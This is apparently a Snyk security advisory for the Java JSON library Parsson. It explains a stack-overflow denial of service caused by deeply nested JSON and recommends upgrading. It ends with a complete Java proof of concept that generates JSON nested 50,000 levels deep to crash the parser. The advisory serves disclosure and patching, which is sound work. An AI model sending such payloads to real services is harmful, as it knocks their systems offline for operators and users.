Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade org.eclipse.parsson:parsson
to version 1.0.4, 1.1.3 or higher.
Affected versions of this package are vulnerable to Out-of-bounds Write due to the handling of deeply nested JSON input. An attacker can cause Java stack overflow exception and denial of service.
import jakarta.json.Json;
import jakarta.json.stream.JsonParser;
import java.io.StringReader;
public class Main {
public static void main(String[] args) {
try {
String json = createDeepNestedDoc(50000);
try (JsonParser parser = Json.createParser(new StringReader(json))) {
while (parser.hasNext()) {
JsonParser.Event ev = parser.next();
if (ev.name().equals("START_ARRAY")) {
parser.getArray();
}
}
}
} catch (Throwable t) {
t.printStackTrace();
}
}
private static String createDeepNestedDoc(final int depth) {
StringBuilder sb = new StringBuilder();
sb.append("[");
for (int i = 0; i < depth; i++) {
sb.append("{ \"a\": [");
}
sb.append(" \"val\" ");
for (int i = 0; i < depth; i++) {
sb.append("]}");
}
sb.append("]");
return sb.toString();
}
}